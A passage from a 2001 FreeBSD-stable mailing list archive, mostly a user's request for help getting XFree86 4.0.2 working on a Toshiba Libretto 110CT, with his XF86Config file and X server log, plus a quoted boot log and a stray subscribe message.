dev=0x1969) at 11.0 irq 14 pcib1: on motherboard pci2: on pcib1 fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: flags 0x1 irq 1 on atkbdc0 kbd0 at atkbd0 psm0: irq 12 on atkbdc0 psm0: model Generic PS/2 mouse, device ID 0 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A ppc0: at port 0x378-0x37f irq 7 on isa0 ppc0: Generic chipset (EPP/NIBBLE) in COMPATIBLE mode plip0: on ppbus0 lpt0: on ppbus0 lpt0: Interrupt-driven port ppi0: on ppbus0 Waiting 15 seconds for SCSI devices to settle da0 at ahc0 bus 0 target 0 lun 0 da0: Fixed Direct Access SCSI-3 device da0: 160.000MB/s transfers (80.000MHz, offset 127, 16bit), Tagged Queueing Enabled da0: 8759MB (17938985 512 byte sectors: 255H 63S/T 1116C) Mounting root from ufs:/dev/da0s1a cd0 at ahc0 bus 0 target 6 lun 0 cd0: Removable CD-ROM SCSI-2 device cd0: 20.000MB/s transfers (20.000MHz, offset 15) cd0: Attempt to query device size failed: NOT READY, Medium not present - tray closed > >Regards, Phone: (250)387-8437 >Cy Schubert Fax: (250)387-5766 >Team Leader, Sun/Alpha Team Internet: Cy.Schubert@osg.gov.bc.ca >Open Systems Group, ITSD, ISTA >Province of BC > - Ian Vaudrey IT Manager talkSPORT 1089/1053am - a Wireless Group company. ************************************************** Privileged/Confidential Information may be contained in this message. If you are not the intended recipient of this message (or responsible for delivery of the message to such person), you are hereby notified that any use, dissemination, distribution or reproduction of this message is prohibited. If you have received this message in error, please notify postmaster@thewirelessgroup.net immediately. Any views expressed in this message are those of the individual sender and may not necessarily reflect the views of The Wireless Group. ************************************************** To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 5:44: 4 2001 Delivered-To: freebsd-stable@freebsd.org Received: from unicorn.blackhats.org (14dyn75.com21.casema.net [213.17.84.75]) by hub.freebsd.org (Postfix) with ESMTP id 7EB4737B71B for ; Sat, 17 Mar 2001 05:43:44 -0800 (PST) (envelope-from unicorn@blackhats.org) Received: by unicorn.blackhats.org (Postfix, from userid 1002) id 50D7712C18; Sat, 17 Mar 2001 14:43:39 +0100 (CET) Date: Sat, 17 Mar 2001 14:43:38 +0100 From: The Unicorn To: freebsd-stable@FreeBSD.ORG Cc: nlfug@nlfug.nl Subject: Has anyone got a Libretto 110CT working with XFree86 4.0.2? Message-ID: <20010317144338.Y49651@unicorn.blackhats.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Files: The Truth Is Out There! Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Guys (F/M), I started an upgrade of my Toshiba Libretto 110CT recently and everything worked out reasonably well until I wanted to use XFree86 4.0.2_6 on the system. It is right now running FreeBSD 4.3-BETA smoothly and the installation and configuration worked like a charm. However, when I start X (startx) the display goes black and stays that way (i.e. nothing is being displayed, but everything continues running). I am using the following XF86Config file: ------%<----%<----%<----%<---- SNIP ----%<----%<----%<----%<----%<------ Section "ServerLayout" Identifier "XFree86 Configured" Screen 0 "Screen0" 0 0 InputDevice "Mouse0" "CorePointer" InputDevice "Keyboard0" "CoreKeyboard" EndSection Section "Files" RgbPath "/usr/X11R6/lib/X11/rgb" ModulePath "/usr/X11R6/lib/modules" FontPath "/usr/X11R6/lib/X11/fonts/misc/" # FontPath "/usr/X11R6/lib/X11/fonts/Speedo/" # FontPath "/usr/X11R6/lib/X11/fonts/Type1/" FontPath "/usr/X11R6/lib/X11/fonts/CID/" FontPath "/usr/X11R6/lib/X11/fonts/75dpi/" FontPath "/usr/X11R6/lib/X11/fonts/100dpi/" EndSection Section "Module" Load "extmod" Load "xie" Load "pex5" Load "glx" Load "dri" Load "GLcore" Load "dbe" Load "record" EndSection Section "InputDevice" Identifier "Keyboard0" Driver "keyboard" EndSection Section "InputDevice" Identifier "Mouse0" Driver "mouse" Option "Protocol" "auto" Option "Device" "/dev/mouse" EndSection Section "Monitor" Identifier "Monitor0" VendorName "TOS" ModelName "5084" HorizSync 31.5-54.3 VertRefresh 50-190 ModeLine "800x480" 50.00 800 864 928 1088 480 481 484 509 +hsync +vsync EndSection Section "Device" ### Available Driver options are:- #Option "NoLinear" #Option "NoAccel" #Option "SWcursor" #Option "noMMIO" #Option "internDisp" #Option "externDisp" #Option "LcdCenter" #Option "ShadowFB" #Option "NoStretch" #Option "pciBurst" #Option "Rotate" #Option "progLcdModeRegs" #Option "progLcdModeStretch" Option "overrideValidateMode" Option "XaaNoScanlineImageWriteRect" Option "XaaNoScanlineCPUToScreenColorExpandFill" Identifier "Card0" Driver "neomagic" VendorName "Neomagic" BoardName "NM2160" BusID "PCI:0:4:0" EndSection Section "Screen" Identifier "Screen0" Device "Card0" Monitor "Monitor0" DefaultColorDepth 16 SubSection "Display" Depth 8 Modes "800x480" ViewPort 0 0 EndSubSection SubSection "Display" Depth 16 Modes "800x480" ViewPort 0 0 EndSubSection SubSection "Display" Depth 24 Modes "800x480" ViewPort 0 0 EndSubSection EndSection Section "DRI" EndSection ------%<----%<----%<----%<---- SNIP ----%<----%<----%<----%<----%<------ And the logging file just tells me that everything should be running just fine: ------%<----%<----%<----%<---- SNIP ----%<----%<----%<----%<----%<------ XFree86 Version 4.0.2 / X Window System (protocol Version 11, revision 0, vendor release 6400) Release Date: 18 December 2000 If the server is older than 6-12 months, or if your card is newer than the above date, look for a newer version before reporting problems. (See http://www.XFree86.Org/FAQ) Operating System: FreeBSD 4.3-BETA i386 [ELF] Module Loader present (==) Log file: "/var/log/XFree86.0.log", Time: Sat Mar 17 13:52:05 2001 (==) Using config file: "/etc/X11/XF86Config" Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (??) unknown. (==) ServerLayout "XFree86 Configured" (**) |-->Screen "Screen0" (0) (**) | |-->Monitor "Monitor0" (**) | |-->Device "Card0" (**) |-->Input Device "Mouse0" (**) |-->Input Device "Keyboard0" (**) FontPath set to "/usr/X11R6/lib/X11/fonts/misc/,/usr/X11R6/lib/X11/fonts/CID/,/usr/X11R6/lib/X11/fonts/75dpi/,/usr/X11R6/lib/X11/fonts/100dpi/" (**) RgbPath set to "/usr/X11R6/lib/X11/rgb" (**) ModulePath set to "/usr/X11R6/lib/modules" (--) Using syscons driver with X support (version 2.0) (--) using VT number 1 (II) Module ABI versions: XFree86 ANSI C Emulation: 0.1 XFree86 Video Driver: 0.3 XFree86 XInput driver : 0.1 XFree86 Server Extension : 0.1 XFree86 Font Renderer : 0.2 (II) Loader running on freebsd (II) LoadModule: "bitmap" (II) Loading /usr/X11R6/lib/modules/fonts/libbitmap.a (II) Module bitmap: vendor="The XFree86 Project" compiled for 4.0.2, module version = 1.0.0 Module class: XFree86 Font Renderer ABI class: XFree86 Font Renderer, version 0.2 (II) Loading font Bitmap (II) LoadModule: "pcidata" (II) Loading /usr/X11R6/lib/modules/libpcidata.a (II) Module pcidata: vendor="The XFree86 Project" compiled for 4.0.2, module version = 0.1.0 ABI class: XFree86 Video Driver, version 0.3 (II) PCI: Probing config type using method 1 (II) PCI: Config type is 1 (II) PCI: stages = 0x03, oldVal1 = 0x00000000, mode1Res1 = 0x80000000 (II) PCI: PCI scan (all values are in hex) (II) PCI: 00:00:0: chip 1179,0601 card 1179,0001 rev 2e class 06,00,00 hdr 00 (II) PCI: 00:04:0: chip 10c8,0004 card 1179,0001 rev 01 class 03,00,00 hdr 00 (II) PCI: 00:11:0: chip 1179,0701 card 1179,0001 rev 22 class 07,80,00 hdr 00 (II) PCI: 00:13:0: chip 1179,060f card 0000,0000 rev 20 class 06,07,00 hdr 82 (II) PCI: 00:13:1: chip 1179,060f card 0000,0000 rev 20 class 06,07,00 hdr 82 (II) PCI: End of PCI scan (II) LoadModule: "scanpci" (II) Loading /usr/X11R6/lib/modules/libscanpci.a (II) Module scanpci: vendor="The XFree86 Project" compiled for 4.0.2, module version = 0.1.0 ABI class: XFree86 Video Driver, version 0.3 (II) UnloadModule: "scanpci" (II) Unloading /usr/X11R6/lib/modules/libscanpci.a (II) Host-to-PCI bridge: (II) Bus 0: bridge is at (0:0:0), (-1,0,0), BCTRL: 0x00 (VGA_EN is cleared) (II) Bus 0 I/O range: [0] -1 0x00000000 - 0x0000ffff (0x10000) IX[B] (II) Bus 0 non-prefetchable memory range: [0] -1 0x00000000 - 0xffffffff (0x0) MX[B] (II) Bus 0 prefetchable memory range: [0] -1 0x00000000 - 0xffffffff (0x0) MX[B] (--) PCI:*(0:4:0) Neomagic NM2160 rev 1, Mem @ 0xfd000000/24, 0xffc00000/21, 0xffb00000/20 (II) Addressable bus resource ranges are [0] -1 0x00000000 - 0xffffffff (0x0) MX[B] [1] -1 0x00000000 - 0x0000ffff (0x10000) IX[B] (II) OS-reported resource ranges: [0] -1 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [1] -1 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [2] -1 0x000f0000 - 0x000fffff (0x10000) MX[B] [3] -1 0x000c0000 - 0x000effff (0x30000) MX[B] [4] -1 0x00000000 - 0x0009ffff (0xa0000) MX[B] [5] -1 0x00000000 - 0x000001ff (0x200) IX[B]E (II) Active PCI resource ranges: [0] -1 0xffb00000 - 0xffbfffff (0x100000) MX[B](B) [1] -1 0xffc00000 - 0xffdfffff (0x200000) MX[B](B) [2] -1 0xfd000000 - 0xfdffffff (0x1000000) MX[B](B) [3] -1 0x0000ffe0 - 0x0000ffff (0x20) IX[B]E (II) Active PCI resource ranges after removing overlaps: [0] -1 0xffb00000 - 0xffbfffff (0x100000) MX[B](B) [1] -1 0xffc00000 - 0xffdfffff (0x200000) MX[B](B) [2] -1 0xfd000000 - 0xfdffffff (0x1000000) MX[B](B) [3] -1 0x0000ffe0 - 0x0000ffff (0x20) IX[B]E (II) OS-reported resource ranges after removing overlaps with PCI: [0] -1 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [1] -1 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [2] -1 0x000f0000 - 0x000fffff (0x10000) MX[B] [3] -1 0x000c0000 - 0x000effff (0x30000) MX[B] [4] -1 0x00000000 - 0x0009ffff (0xa0000) MX[B] [5] -1 0x00000000 - 0x000001ff (0x200) IX[B]E (II) All system resource ranges: [0] -1 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [1] -1 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [2] -1 0x000f0000 - 0x000fffff (0x10000) MX[B] [3] -1 0x000c0000 - 0x000effff (0x30000) MX[B] [4] -1 0x00000000 - 0x0009ffff (0xa0000) MX[B] [5] -1 0xffb00000 - 0xffbfffff (0x100000) MX[B](B) [6] -1 0xffc00000 - 0xffdfffff (0x200000) MX[B](B) [7] -1 0xfd000000 - 0xfdffffff (0x1000000) MX[B](B) [8] -1 0x00000000 - 0x000001ff (0x200) IX[B]E [9] -1 0x0000ffe0 - 0x0000ffff (0x20) IX[B]E (II) LoadModule: "extmod" (II) Loading /usr/X11R6/lib/modules/extensions/libextmod.a (II) Module extmod: vendor="The XFree86 Project" compiled for 4.0.2, module version = 1.0.0 Module class: XFree86 Server Extension ABI class: XFree86 Server Extension, version 0.1 (II) Loading extension SHAPE (II) Loading extension MIT-SUNDRY-NONSTANDARD (II) Loading extension BIG-REQUESTS (II) Loading extension SYNC (II) Loading extension MIT-SCREEN-SAVER (II) Loading extension XC-MISC (II) Loading extension XFree86-VidModeExtension (II) Loading extension XFree86-Misc (II) Loading extension XFree86-DGA (II) Loading extension DPMS (II) Loading extension FontCache (II) Loading extension TOG-CUP (II) Loading extension Extended-Visual-Information (II) Loading extension XVideo (II) LoadModule: "xie" (II) Loading /usr/X11R6/lib/modules/extensions/libxie.a (II) Module xie: vendor="The XFree86 Project" compiled for 4.0.2, module version = 1.0.0 Module class: XFree86 Server Extension ABI class: XFree86 Server Extension, version 0.1 (II) Loading extension XIE (II) LoadModule: "pex5" (II) Loading /usr/X11R6/lib/modules/extensions/libpex5.a (II) Module pex5: vendor="The XFree86 Project" compiled for 4.0.2, module version = 1.0.0 Module class: XFree86 Server Extension ABI class: XFree86 Server Extension, version 0.1 (II) Loading extension X3D-PEX (II) LoadModule: "glx" (II) Loading /usr/X11R6/lib/modules/extensions/libglx.a (II) Module glx: vendor="The XFree86 Project" compiled for 4.0.2, module version = 1.0.0 ABI class: XFree86 Server Extension, version 0.1 (II) Loading extension GLX (II) Loading sub module "GLcore" (II) LoadModule: "GLcore" (II) Loading /usr/X11R6/lib/modules/extensions/libGLcore.a (II) Module GLcore: vendor="The XFree86 Project" compiled for 4.0.2, module version = 1.0.0 ABI class: XFree86 Server Extension, version 0.1 (II) LoadModule: "dri" (II) Loading /usr/X11R6/lib/modules/extensions/libdri.a (II) Module dri: vendor="The XFree86 Project" compiled for 4.0.2, module version = 1.0.0 ABI class: XFree86 Server Extension, version 0.1 (II) Loading extension XFree86-DRI (II) Loading sub module "drm" (II) LoadModule: "drm" (II) Loading /usr/X11R6/lib/modules/freebsd/libdrm.a (II) Module drm: vendor="The XFree86 Project" compiled for 4.0.2, module version = 1.0.0 ABI class: XFree86 Server Extension, version 0.1 (II) LoadModule: "GLcore" (II) Reloading /usr/X11R6/lib/modules/extensions/libGLcore.a (II) LoadModule: "dbe" (II) Loading /usr/X11R6/lib/modules/extensions/libdbe.a (II) Module dbe: vendor="The XFree86 Project" compiled for 4.0.2, module version = 1.0.0 Module class: XFree86 Server Extension ABI class: XFree86 Server Extension, version 0.1 (II) Loading extension DOUBLE-BUFFER (II) LoadModule: "record" (II) Loading /usr/X11R6/lib/modules/extensions/librecord.a (II) Module record: vendor="The XFree86 Project" compiled for 4.0.2, module version = 1.13.0 Module class: XFree86 Server Extension ABI class: XFree86 Server Extension, version 0.1 (II) Loading extension RECORD (II) LoadModule: "neomagic" (II) Loading /usr/X11R6/lib/modules/drivers/neomagic_drv.o (II) Module neomagic: vendor="The XFree86 Project" compiled for 4.0.2, module version = 1.0.0 Module class: XFree86 Video Driver ABI class: XFree86 Video Driver, version 0.3 (II) LoadModule: "mouse" (II) Loading /usr/X11R6/lib/modules/input/mouse_drv.o (II) Module mouse: vendor="The XFree86 Project" compiled for 4.0.2, module version = 1.0.0 Module class: XFree86 XInput Driver ABI class: XFree86 XInput driver, version 0.1 (II) NEOMAGIC: Driver for Neomagic chipsets: neo2070, neo2090, neo2093, neo2097, neo2160, neo2200, neo2230, neo2360, neo2380 (II) Primary Device is: PCI 00:04:0 (--) Chipset neo2160 found (II) resource ranges after xf86ClaimFixedResources() call: [0] -1 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [1] -1 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [2] -1 0x000f0000 - 0x000fffff (0x10000) MX[B] [3] -1 0x000c0000 - 0x000effff (0x30000) MX[B] [4] -1 0x00000000 - 0x0009ffff (0xa0000) MX[B] [5] -1 0xffb00000 - 0xffbfffff (0x100000) MX[B](B) [6] -1 0xffc00000 - 0xffdfffff (0x200000) MX[B](B) [7] -1 0xfd000000 - 0xfdffffff (0x1000000) MX[B](B) [8] -1 0x00000000 - 0x000001ff (0x200) IX[B]E [9] -1 0x0000ffe0 - 0x0000ffff (0x20) IX[B]E (II) resource ranges after probing: [0] -1 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [1] -1 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [2] -1 0x000f0000 - 0x000fffff (0x10000) MX[B] [3] -1 0x000c0000 - 0x000effff (0x30000) MX[B] [4] -1 0x00000000 - 0x0009ffff (0xa0000) MX[B] [5] -1 0xffb00000 - 0xffbfffff (0x100000) MX[B](B) [6] -1 0xffc00000 - 0xffdfffff (0x200000) MX[B](B) [7] -1 0xfd000000 - 0xfdffffff (0x1000000) MX[B](B) [8] 0 0x000a0000 - 0x000affff (0x10000) MS[B] [9] 0 0x000b0000 - 0x000b7fff (0x8000) MS[B] [10] 0 0x000b8000 - 0x000bffff (0x8000) MS[B] [11] -1 0x00000000 - 0x000001ff (0x200) IX[B]E [12] -1 0x0000ffe0 - 0x0000ffff (0x20) IX[B]E [13] 0 0x000003b0 - 0x000003bb (0xc) IS[B] [14] 0 0x000003c0 - 0x000003df (0x20) IS[B] (II) Setting vga for screen 0. (II) Loading sub module "vgahw" (II) LoadModule: "vgahw" (II) Loading /usr/X11R6/lib/modules/libvgahw.a (II) Module vgahw: vendor="The XFree86 Project" compiled for 4.0.2, module version = 0.1.0 ABI class: XFree86 Video Driver, version 0.3 (II) NEOMAGIC(0): Chipset is a MagicGraph 128XD (NM2160) (--) NEOMAGIC(0): Panel is a 800x600 color TFT display (II) Loading sub module "ddc" (II) LoadModule: "ddc" (II) Loading /usr/X11R6/lib/modules/libddc.a (II) Module ddc: vendor="The XFree86 Project" compiled for 4.0.2, module version = 1.0.0 ABI class: XFree86 Video Driver, version 0.3 (II) Loading sub module "vbe" (II) LoadModule: "vbe" (II) Loading /usr/X11R6/lib/modules/libvbe.a (II) Module vbe: vendor="The XFree86 Project" compiled for 4.0.2, module version = 1.0.0 ABI class: XFree86 Video Driver, version 0.3 (II) Loading sub module "int10" (II) LoadModule: "int10" (II) Loading /usr/X11R6/lib/modules/libint10.a (II) Module int10: vendor="The XFree86 Project" compiled for 4.0.2, module version = 1.0.0 ABI class: XFree86 Video Driver, version 0.3 (II) NEOMAGIC(0): initializing int10 (II) xf86ReadBIOS(0, 0, Buf, 600)-> 6f ef 00 f0... (II) xf86ReadBIOS(c0000, 0, Buf, 10000)-> 55 aa 60 e9... (II) xf86ReadBIOS(d0000, 0, Buf, 10000)-> ff ff ff ff... (II) xf86ReadBIOS(e0000, 0, Buf, 10000)-> ff ff ff ff... (II) NEOMAGIC(0): Primary V_BIOS segment is: 0xc000 (II) NEOMAGIC(0): VESA BIOS detected (II) NEOMAGIC(0): VESA VBE Version 2.0 (II) NEOMAGIC(0): VESA VBE Total Mem: 1984 kB (II) NEOMAGIC(0): VESA VBE OEM: MagicGraph 128XD 40K SVGA BIOS (II) NEOMAGIC(0): VESA VBE OEM Software Rev: 1.1 (II) NEOMAGIC(0): VESA VBE OEM Vendor: NeoMagic (II) NEOMAGIC(0): VESA VBE OEM Product: MagicGraph 128XV (II) NEOMAGIC(0): VESA VBE OEM Product Rev: 01.0 (II) Loading sub module "ddc" (II) LoadModule: "ddc" (II) Reloading /usr/X11R6/lib/modules/libddc.a (II) NEOMAGIC(0): VESA VBE DDC supported (II) NEOMAGIC(0): VESA VBE DDC Level 2 (II) NEOMAGIC(0): VESA VBE DDC transfer in appr. 1 sec. (II) NEOMAGIC(0): VESA VBE DDC read successfully (II) NEOMAGIC(0): Manufacturer: TOS Model: 5084 Serial#: 0 (II) NEOMAGIC(0): Year: 1997 Week: 41 (II) NEOMAGIC(0): EDID Version: 1.0 (II) NEOMAGIC(0): Digital Display Input (II) NEOMAGIC(0): Max H-Image Size [cm]: horiz.: 16 vert.: 10 (II) NEOMAGIC(0): Gamma: 1.00 (II) NEOMAGIC(0): No DPMS capabilities specified; RGB/Color Display (II) NEOMAGIC(0): redX: 0.000 redY: 0.000 greenX: 0.000 greenY: 0.000 (II) NEOMAGIC(0): blueX: 0.000 blueY: 0.000 whiteX: 0.000 whiteY: 0.000 (II) NEOMAGIC(0): Supported VESA Video Modes: (II) NEOMAGIC(0): 640x480@60Hz (II) NEOMAGIC(0): Manufacturer's mask: 0 (II) NEOMAGIC(0): Supported Future Video Modes: (II) NEOMAGIC(0): #0: hsize: 800 vsize 450 refresh: 60 vid: 49221 (**) NEOMAGIC(0): Depth 16, (--) framebuffer bpp 16 (==) NEOMAGIC(0): RGB weight 565 (==) NEOMAGIC(0): Default visual is TrueColor (==) NEOMAGIC(0): Using gamma correction (1.0, 1.0, 1.0) (**) NEOMAGIC(0): Option "overrideValidateMode" (--) NEOMAGIC(0): Internal LCD only display mode (==) NEOMAGIC(0): using linear mode (**) NEOMAGIC(0): using PCI Burst mode (--) NEOMAGIC(0): FB base address is set at 0xFD000000. (--) NEOMAGIC(0): MMIO base address is set at 0xFFC00000. (--) NEOMAGIC(0): VideoRAM: 2048 kByte (--) NEOMAGIC(0): Max Clock: 90000 kHz (II) NEOMAGIC(0): Monitor0: Using hsync range of 31.50-54.30 kHz (II) NEOMAGIC(0): Monitor0: Using vrefresh range of 50.00-190.00 Hz (II) NEOMAGIC(0): Clock range: 11.00 to 90.00 MHz (WW) NEOMAGIC(0): display mode validation disabled (WW) NEOMAGIC(0): display mode validation disabled (WW) NEOMAGIC(0): display mode validation disabled (WW) NEOMAGIC(0): display mode validation disabled (WW) NEOMAGIC(0): display mode validation disabled (WW) NEOMAGIC(0): display mode validation disabled (WW) NEOMAGIC(0): display mode validation disabled (WW) NEOMAGIC(0): display mode validation disabled (WW) NEOMAGIC(0): display mode validation disabled (WW) NEOMAGIC(0): display mode validation disabled (WW) NEOMAGIC(0): display mode validation disabled (WW) NEOMAGIC(0): display mode validation disabled (WW) NEOMAGIC(0): display mode validation disabled (WW) NEOMAGIC(0): Default mode "1024x768" deleted (bad mode clock/interlace/doublescan) (WW) NEOMAGIC(0): display mode validation disabled (WW) NEOMAGIC(0): display mode validation disabled (WW) NEOMAGIC(0): Default mode "1024x768" deleted (hsync out of range) (WW) NEOMAGIC(0): display mode validation disabled (WW) NEOMAGIC(0): Default mode "1024x768" deleted (hsync out of range) (WW) NEOMAGIC(0): Default mode "1024x768" deleted (bad mode clock/interlace/doublescan) (WW) NEOMAGIC(0): Default mode "1152x864" deleted (width requires unsupported line pitch) (WW) NEOMAGIC(0): Default mode "1280x960" deleted (insufficient memory for mode) (WW) NEOMAGIC(0): Default mode "1280x960" deleted (insufficient memory for mode) (WW) NEOMAGIC(0): Default mode "1280x1024" deleted (insufficient memory for mode) (WW) NEOMAGIC(0): Default mode "1280x1024" deleted (insufficient memory for mode) (WW) NEOMAGIC(0): Default mode "1280x1024" deleted (insufficient memory for mode) (WW) NEOMAGIC(0): Default mode "1600x1200" deleted (insufficient memory for mode) (WW) NEOMAGIC(0): Default mode "1600x1200" deleted (insufficient memory for mode) (WW) NEOMAGIC(0): Default mode "1600x1200" deleted (insufficient memory for mode) (WW) NEOMAGIC(0): Default mode "1600x1200" deleted (insufficient memory for mode) (WW) NEOMAGIC(0): Default mode "1600x1200" deleted (insufficient memory for mode) (WW) NEOMAGIC(0): Default mode "1792x1344" deleted (insufficient memory for mode) (WW) NEOMAGIC(0): Default mode "1792x1344" deleted (insufficient memory for mode) (WW) NEOMAGIC(0): Default mode "1856x1392" deleted (insufficient memory for mode) (WW) NEOMAGIC(0): Default mode "1856x1392" deleted (insufficient memory for mode) (WW) NEOMAGIC(0): Default mode "1920x1440" deleted (insufficient memory for mode) (WW) NEOMAGIC(0): Default mode "1920x1440" deleted (insufficient memory for mode) (WW) NEOMAGIC(0): display mode validation disabled (--) NEOMAGIC(0): Virtual size is 800x480 (pitch 800) (**) NEOMAGIC(0): Mode "800x480": 50.0 MHz, 46.0 kHz, 90.3 Hz (--) NEOMAGIC(0): Display dimensions: (16, 10) cm (--) NEOMAGIC(0): DPI set to (127, 121) (II) Loading sub module "fb" (II) LoadModule: "fb" (II) Loading /usr/X11R6/lib/modules/libfb.a (II) Module fb: vendor="The XFree86 Project" compiled for 4.0.2, module version = 1.0.0 ABI class: XFree86 ANSI C Emulation, version 0.1 (II) Loading sub module "xaa" (II) LoadModule: "xaa" (II) Loading /usr/X11R6/lib/modules/libxaa.a (II) Module xaa: vendor="The XFree86 Project" compiled for 4.0.2, module version = 1.0.0 ABI class: XFree86 Video Driver, version 0.3 (II) Loading sub module "ramdac" (II) LoadModule: "ramdac" (II) Loading /usr/X11R6/lib/modules/libramdac.a (II) Module ramdac: vendor="The XFree86 Project" compiled for 4.0.2, module version = 0.1.0 ABI class: XFree86 Video Driver, version 0.3 (II) do I need RAC? No, I don't. (II) resource ranges after preInit: [0] 0 0xffb00000 - 0xffbfffff (0x100000) MX[B] [1] 0 0xffc00000 - 0xffdfffff (0x200000) MX[B] [2] 0 0xfd000000 - 0xfdffffff (0x1000000) MX[B] [3] -1 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [4] -1 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [5] -1 0x000f0000 - 0x000fffff (0x10000) MX[B] [6] -1 0x000c0000 - 0x000effff (0x30000) MX[B] [7] -1 0x00000000 - 0x0009ffff (0xa0000) MX[B] [8] -1 0xffb00000 - 0xffbfffff (0x100000) MX[B](B) [9] -1 0xffc00000 - 0xffdfffff (0x200000) MX[B](B) [10] -1 0xfd000000 - 0xfdffffff (0x1000000) MX[B](B) [11] 0 0x000a0000 - 0x000affff (0x10000) MS[B] [12] 0 0x000b0000 - 0x000b7fff (0x8000) MS[B] [13] 0 0x000b8000 - 0x000bffff (0x8000) MS[B] [14] -1 0x00000000 - 0x000001ff (0x200) IX[B]E [15] -1 0x0000ffe0 - 0x0000ffff (0x20) IX[B]E [16] 0 0x000003b0 - 0x000003bb (0xc) IS[B] [17] 0 0x000003c0 - 0x000003df (0x20) IS[B] (II) NEOMAGIC(0): Stretching disabled (II) NEOMAGIC(0): Not programming shadow registers (II) NEOMAGIC(0): Using linear framebuffer at: 0xFD000000 (--) NEOMAGIC(0): 1329152 bytes off-screen memory available (II) NEOMAGIC(0): Using H/W Cursor. (II) NEOMAGIC(0): Using 544 scanlines of offscreen memory for pixmap caching (**) NEOMAGIC(0): Option "XaaNoScanlineCPUToScreenColorExpandFill" (**) NEOMAGIC(0): Option "XaaNoScanlineImageWriteRect" (II) NEOMAGIC(0): Using XFree86 Acceleration Architecture (XAA) Screen to screen bit blits Solid filled rectangles Solid Horizontal and Vertical Lines Offscreen Pixmaps Setting up tile and stipple cache: 24 128x128 slots (II) NEOMAGIC(0): Acceleration Initialized (==) NEOMAGIC(0): Backing store disabled (==) NEOMAGIC(0): Silken mouse enabled (II) Setting vga for screen 0. (II) Initializing built-in extension MIT-SHM (II) Initializing built-in extension XInputExtension (II) Initializing built-in extension XTEST (II) Initializing built-in extension XKEYBOARD (II) Initializing built-in extension LBX (II) Initializing built-in extension XC-APPGROUP (II) Initializing built-in extension SECURITY (II) Initializing built-in extension XINERAMA (II) Initializing built-in extension XFree86-Bigfont (II) Initializing built-in extension RENDER (**) Option "Protocol" "auto" (**) Mouse0: Protocol: "auto" (**) Option "CorePointer" (**) Mouse0: Core Pointer (**) Option "Device" "/dev/mouse" (==) Mouse0: Buttons: 3 (II) Keyboard "Keyboard0" handled by legacy driver (II) XINPUT: Adding extended input device "Mouse0" (type: MOUSE) (**) Option "BaudRate" "1200" ------%<----%<----%<----%<---- SNIP ----%<----%<----%<----%<----%<------ I have read several documents on the web already, including all relevant documentation on www.xfree86.org, but nothing seems to change this behaviour. So as a final possibility I am turning to this list (before returning to XFree86 3.3.6 ;-) wondering if anyone here knows what I can do to make this work after all... aTdHvAaNnKcSe, Unicorn. -- ======= _ __,;;;/ TimeWaster ================================================= ,;( )_, )~\| A Truly Wise Man Never Plays PGP: 64 07 5D 4C 3F 81 22 73 ;; // `--; Leapfrog With A Unicorn... 52 9D 87 08 51 AA 35 F0 ==='= ;\ = | ==== Youth is Not a Time in Life, It is a State of Mind! ======== Echelon Teasers: NSA CIA DIA FBI NRO KGB FAPSI FSB Mossad BVD MI5 MI6 GCHQ BND To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 6: 5: 3 2001 Delivered-To: freebsd-stable@freebsd.org Received: from exam.nkk.co.jp (exam.nkk.co.jp [210.160.255.15]) by hub.freebsd.org (Postfix) with ESMTP id A83E137B718 for ; Sat, 17 Mar 2001 06:04:58 -0800 (PST) (envelope-from mtan@lab.keihin.nkk.co.jp) Received: from cookie.lab.keihin.nkk.co.jp (cookie.lab.keihin.nkk.co.jp [155.160.70.61]) by exam.nkk.co.jp (8.9.3/3.7W) with ESMTP id QAA12873 for ; Sat, 17 Mar 2001 16:28:55 +0900 (JST) Received: from localhost (localhost [127.0.0.1]) by cookie.lab.keihin.nkk.co.jp (8.9.3/3.7W) with ESMTP id QAA92967; Sat, 17 Mar 2001 16:27:17 +0900 (JST) To: freebsd-stable@FreeBSD.org Subject: subscribe freebsd-stable X-Mailer: Mew version 1.93 on Emacs 20.4 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010317162717G.mtan@lab.keihin.nkk.co.jp> Date: Sat, 17 Mar 2001 16:27:17 +0900 From: Minoru TANABE X-Dispatcher: imput version 980905(IM100) Lines: 2 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG subscribe freebsd-stable To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 7:23:40 2001 Delivered-To: freebsd-stable@freebsd.org Received: from snarf.osdn.com (snarf.osdn.com [209.192.217.153]) by hub.freebsd.org (Postfix) with ESMTP id 02FEB37B719 for ; Sat, 17 Mar 2001 07:23:37 